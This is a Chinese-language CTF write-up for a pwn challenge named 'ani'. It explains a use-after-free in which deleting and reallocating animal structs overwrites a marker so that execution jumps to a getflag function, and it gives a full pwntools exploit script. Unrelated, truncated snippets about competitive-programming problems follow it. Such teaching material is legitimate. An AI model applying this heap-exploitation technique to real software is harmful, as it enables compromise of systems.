小動物很可愛的說?
放在ida中分析,發現已經有了獲取flag的函式,不需要自己找system了,接下來就是如何控制程式的執行流程。
首先對程式功能作基本的分析:
新建動物時malloc乙個結構體存放動物的資訊,如果是熊,結構體的0x0-0x8存放0xdeadbeef,0x8-0x14存放動物的名字,0x14-0x20存放動物的type;
如果是其他動物,從0開始存放動物的名字。維護了乙個全域性指標pointers,作為乙個目錄表記錄所有的結構體位址。
使用uaf的姿勢,關鍵在於delete功能:
void deleteanimal()
首先第乙個結構體無法被delete,所以大致流程為:makebear--->makebear---->makebear--->delete(1) 下次malloc時就會優先分配到第二個結構體的位置,此時maketiger(除熊外隨便動物,不能是熊,否則會更新bearoffset),輸入動物的名字時就會從第二個結構體的起始處開始存放,從而覆蓋掉第三個結構體起始處的0xdeadbeef:
此時呼叫delete就會執行&pointers+3 (0x155e470)指向的指令,從而實現程式流程控制
作者已經給出了getflag的函式不需要自己再構造system來getshell,getflag的函式位址位0x4008dd
#!/usr/bin/python2
# coding:utf-8
from pwn import *
def make_bear(s, name='hello'):
log.info('****** a bear with name ' + name)
s.recv()
s.sendline('3')
s.recv()
s.sendline('3')
s.recv()
s.sendline(name)
def make_tiger(s, name='hello'):
log.info('****** a tiger with name ' + name)
s.recv()
s.sendline('2')
s.recv()
s.sendline('3')
s.recv()
s.sendline(name)
def delete_animal(s, num):
log.info('delete animal ' + num)
s.recv()
s.sendline('4')
s.recv()
s.sendline(num)
def send_pwn(s):
log.info('sending to pwn')
s.recv()
s.sendline('4919')
def pwn():
s = process("./ani")
make_bear(s)
make_bear(s)
make_bear(s)
delete_animal(s, '1')
make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00')
gdb.attach(s,'b pwnme')
send_pwn(s)
log.info("flag is :" + s.recv())
if __name__ == "__main__":
pwn()
參考: 2016寒假訓練 二分
poj3104 用模擬會超時,所以考慮用二分節約時間 首先分析,實際上是每一次都是去烘乾水量最大的,風乾其他的,然後烘完再排序一下,重複這一操作,直到所有的都為1。當然,模擬顯然是會超時的。所以我們這樣考慮,我們這樣考慮,如果對於乙個時間t,我們的有一部分衣服就會自然風乾,有一部分衣服需要自己來烘乾...
2016寒假訓練 二分(2)
poj3122 就是說現在有n個餅,f個朋友來分,要求 f 1 個能分的一塊餅上的一塊,不能來自不同的餅,這個題目就明顯多了,就是估計大概的餅的面積,然後分了試試看,模擬進行和人數進行比較。技巧 1.這裡poj的discuss中提到,這裡pi取3.1415926不夠,所以這裡可以用pi acos 1...
NOI2016 優秀的拆分 95分
uoj 傳送門 題目大意 給出一串字串,求它的子串中形如aabb的方案個數。90 len 2000 o n 2 的做法可以過。100 len 30000,蒟蒻不會啦。o n 2 的做法 列舉中間點,求出兩邊形如aa的個數,相乘加入答案中。include include include include...